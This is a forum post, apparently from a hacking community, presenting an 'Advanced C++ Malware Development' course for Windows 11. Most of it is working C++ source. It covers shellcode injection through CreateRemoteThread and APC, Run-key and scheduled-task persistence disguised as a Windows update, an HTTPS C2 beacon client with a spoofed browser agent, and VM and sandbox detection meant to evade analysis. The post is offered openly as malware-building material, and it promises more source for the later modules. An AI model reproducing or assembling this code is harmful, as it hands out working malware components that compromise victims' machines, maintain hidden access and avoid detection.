Advanced C++ Malware Development: Full Course Curriculum

Blacksec

Administrator
Staff member
Advanced C++ Malware Development - Full Course Curriculum

Course Overview
This course covers practical malware development in C++ targeting Windows 11 x64. Prerequisites: intermediate C++, WinAPI familiarity, basic assembly.

Module Breakdown:
  • Module 1: Process Injection Techniques (CreateRemoteThread, APC, Process Hollowing, DLL Injection, Reflective DLL)
  • Module 2: Persistence Mechanisms (Registry Run Keys, Scheduled Tasks, WMI, Services, Bootkit)
  • Module 3: C2 Communication (HTTP/HTTPS, DNS Tunneling, Domain Fronting, Encrypted Payloads)
  • Module 4: Anti-Analysis and Evasion (VM Detection, Debugger Detection, Sandbox Checks, API Hashing, Obfuscation)
  • Module 5: Credential Harvesting (Keylogging, Credential Manager, Browser Extraction, Token Stealing)
  • Module 6: Defense Evasion (AMSI Bypass, ETW Patch, Defender Exclusion, Log Clearing)
  • Module 7: Full Tool Integration (Modular Payload Architecture, Encrypted Config, Multi-Stage Loading)

Module 1: Process Injection
1.1 CreateRemoteThread Injection
The foundation of all injection techniques.
Code:
#include <windows.h>
#include <tlhelp32.h>
DWORD FindPid(const char* name) {
    DWORD pid = 0;
    HANDLE s = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 pe = {sizeof(pe)};
    if (Process32First(s, &pe)) do {
        if (_stricmp(pe.szExeFile, name) == 0) { pid = pe.th32ProcessID; break; }
    } while (Process32Next(s, &pe));
    CloseHandle(s); return pid;
}

bool Inject(DWORD pid, const std::vector<BYTE>& sc) {
    HANDLE hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    if (!hp) return false;
    LPVOID rm = VirtualAllocEx(hp, NULL, sc.size(), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (!rm) { CloseHandle(hp); return false; }
    WriteProcessMemory(hp, rm, sc.data(), sc.size(), NULL);
    HANDLE ht = CreateRemoteThread(hp, NULL, 0, (LPTHREAD_START_ROUTINE)rm, NULL, 0, NULL);
    if (!ht) { CloseHandle(hp); return false; }
    WaitForSingleObject(ht, INFINITE);
    CloseHandle(ht); CloseHandle(hp);
    return true;
}

1.2 Threadless Injection via APC
Bypasses CreateRemoteThread detection by queuing an APC to an existing thread.
Code:
bool InjectAPC(DWORD pid, const std::vector<BYTE>& sc) {
    HANDLE hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    if (!hp) return false;
    LPVOID rm = VirtualAllocEx(hp, NULL, sc.size(), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(hp, rm, sc.data(), sc.size(), NULL);
    HANDLE s = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    THREADENTRY32 te = {sizeof(te)};
    if (Thread32First(s, &te)) do {
        if (te.th32OwnerProcessID == pid) {
            HANDLE ht = OpenThread(THREAD_SET_CONTEXT, FALSE, te.th32ThreadID);
            QueueUserAPC((PAPCFUNC)rm, ht, NULL); CloseHandle(ht);
        }
    } while (Thread32Next(s, &te));
    CloseHandle(s); CloseHandle(hp);
    return true;
}

Module 2: Persistence
Code:
void PersistRegistry(const char* p) {
    HKEY hk;
    RegOpenKeyEx(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_SET_VALUE, &hk);
    RegSetValueEx(hk, "WindowsUpdate", 0, REG_SZ, (BYTE*)p, strlen(p));
    RegCloseKey(hk);
}

void PersistTask(const char* p) {
    char cmd[MAX_PATH];
    snprintf(cmd, sizeof(cmd), "schtasks /create /tn UpdTask /tr \"%s\" /sc ONLOGON /rl HIGHEST /f", p);
    system(cmd);
}

Module 3: C2 Communication
Code:
#include <winhttp.h>
class C2Client {
    std::string h; int p;
public:
    C2Client(const std::string& host, int port) : h(host), p(port) {}
    std::string Beacon(const std::string& d) {
        HINTERNET ses = WinHttpOpen(L"MSIE 9.0", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, NULL, NULL, 0);
        HINTERNET con = WinHttpConnect(ses, std::wstring(h.begin(), h.end()).c_str(), p, 0);
        HINTERNET req = WinHttpOpenRequest(con, L"POST", L"/api", NULL, NULL, NULL, WINHTTP_FLAG_SECURE);
        LPCWSTR hdrs = L"X-C2: 1\r\nContent-Type: bin\r\n";
        WinHttpSendRequest(req, hdrs, -1, (LPVOID)d.data(), d.size(), d.size(), 0);
        WinHttpReceiveResponse(req, NULL);
        DWORD r = 0; std::string resp; char b[4096];
        while (WinHttpReadData(req, b, sizeof(b), &r) && r > 0) resp.append(b, r);
        WinHttpCloseHandle(req); WinHttpCloseHandle(con); WinHttpCloseHandle(ses);
        return resp;
    }
};

Module 4: Anti-Analysis
Code:
bool IsVMWare() {
    __try { __asm { mov eax, 0x564D5868; mov ebx, 0; mov ecx, 10; mov edx, 0x5658; in eax, dx } return true; }
    __except(EXCEPTION_EXECUTE_HANDLER) { return false; }
}

bool CheckSandbox() {
    if (GetModuleHandle("sbiedll.dll") || GetModuleHandle("cuckoomon.dll")) return true;
    MEMORYSTATUSEX ms = {sizeof(ms)}; GlobalMemoryStatusEx(&ms);
    if (ms.ullTotalPhys < 2ULL*1024*1024*1024) return true;
    ULARGE_INTEGER t; GetDiskFreeSpaceEx("C:\\", NULL, &t, NULL);
    if (t.QuadPart < 60ULL*1024*1024*1024) return true;
    return false;
}

Module 7: Full Integration
Code:
class PayloadModule {
public:
    virtual ~PayloadModule() {}
    virtual const char* GetName() = 0;
    virtual bool Execute(const std::string& args) = 0;
    virtual void Cleanup() = 0;
};
std::map<std::string, PayloadModule*> g_Modules;

Each module released as a separate thread with full source. Follow for updates.
 
Top